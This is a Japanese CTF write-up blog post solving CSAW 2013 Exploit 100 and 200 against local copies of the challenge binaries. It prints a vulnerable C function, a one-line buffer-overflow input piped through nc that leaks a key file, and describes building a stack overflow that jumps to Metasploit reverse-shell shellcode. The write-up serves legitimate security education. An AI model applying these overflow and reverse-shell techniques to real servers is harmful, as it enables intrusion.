試運転ブログ

技術的なあれこれ

CSAW 2013 Exploit100,200

去年の大会のものです。
備忘録としてwriteup書きます。

やったものとしてはExploit100,200,300,400です。今回は100と200の説明をします。
問題はこちらにあります。

CTFを知らない方向けに説明するとExploitの問題とは、
あるサーバーで動いてるプログラムが渡されて、それを解析して脆弱性をみつけて攻撃を仕掛ける問題です。
最終的にはサーバー側にある(key.txt)といったファイルの中身を読み出すことが目標となります。
今回は、Exploit100は単純なbufferoveflow、Exploit200では最終的にサーバー側からshellを奪う(ソケット通信でshell(sshみたいな感じ)を起動する)ことで目標を達成します。

大会中はサーバーのIPとプログラムの稼動しているポート番号が知らされるのですが、もう停止してしまっているのでローカルでプログラムを実行しています。
他の方の書いたwriteupを読む限りASLRはどの問題でも無効となっていたようです。

Exploit 100

サーバ上で動いてる実行ファイルと、そのプログラムの一部が渡される。
プログラムは

[snip]

void handle(int newsock) {
	int backdoor = 0;
	char buffer[1016];
	memset(buffer, 0, 1016);

	send(newsock, "Welcome to CSAW CTF.", 21, 0);
	recv(newsock, buffer, 1020, 0);
	buffer[1015] = 0;

	if ( backdoor ) {
		fd = fopen("./key", "r");
		fscanf(fd, "%s\n", buffer);
		send(newsock, buffer, 512, 0);
	}
	close(newsock);
}

[snip]

プログラムを見てみると、backdoorが0以外になった場合にkeyが出力されることが分かる。しかし通常ではここの分岐は通らない。今回の目標はここの条件に飛ばすことであると考えられる。

この問題では、recvの読み込みバイト数と、読み込み先のbufferの確保されたバイト数に着目する。recvでは1020バイト読み込もうとしているのに対し、bufferは1016バイトしか確保されていない。
ここで1016バイトより大きいサイズが読み込まれた場合、Buffer Overflowが起こることが分かる。
また関数内でbackdoorはbufferより先に宣言されることより、stack内では、backdoorのアドレス > bufferのアドレスとなり、Buffer Overflowが起きた際にbackdoorが書き変えられる。
よってこの問題では、とりあえず大量に文字を送ってやればkeyが手に入る。

# python -c "print 'a'*1020" | nc localhost 31337
Welcome to CSAW CTF.keydayoaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

※keyは"keydayo"をもつテキストファイ
Welcome to CSAW CTF.の後にkeyの中身が書き出されていることが分かる。

Exploit 200

実行ファイルのみ与えられる。
とりあえず接続してみる。

# nc localhost 31338
�����L~-Welcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:

という表示が得られる。
最初に文字化けした文字と、適当な文章が表示され、入力待ち状態になる。
これだけだと良く分からないので、詳細に見ていく。

まず、

# file exploit2 
exploit2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xc796f194ec45ced8903694f93c194eed06b9139d, not stripped

fileコマンドより32ビットのELFファイルで、stripされていないファイル(解析しやすい)ということが分かる。

# checksec.sh --file exploit2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   explo

NX disabledよりstack上での実行権があることがわかるので、stackにshellcodeを積んで実行を移す問題と予想が立てられる。
IDA proで見てみる。接続すると表示される部分はこのようなプログラムになっていることが分かる。

f:id:otameshi61:20140316235925p:plain

3度のsendを実行している。
最初にvar_80Cのアドレス、次にvar_Cの中身、最後に文章が送られてきている。

var_80Cはこの後に入力する内容が書き込まれる領域の先頭アドレス、var_Cには乱数が格納されておりstackから抜ける直前でこの値が変更されていないかチェックされる。この値が変更されていた場合Exitされてしまう。

関数の戻りアドレス(ベースアドレスの下に積まれている)を書き換えて、
shellcodeへ実行を移したいので、var_Cの値は保存したままbufferoverflowを起こすようにする。

以上よりpayloadの構成はshellcode + var_C + shellcodeの先頭アドレスが骨格となり、あとはstackの距離より調整すればよい。

shellcodeはバックコネクトでshellをつなぐものをmetasploitで作成して、ローカルの適当なマシンで受けるようにした。作成したソースコードはこんな感じ。

実行すると待ち受けているところでshellがつながれることが分かる。

f:id:otameshi61:20140323182323p:plain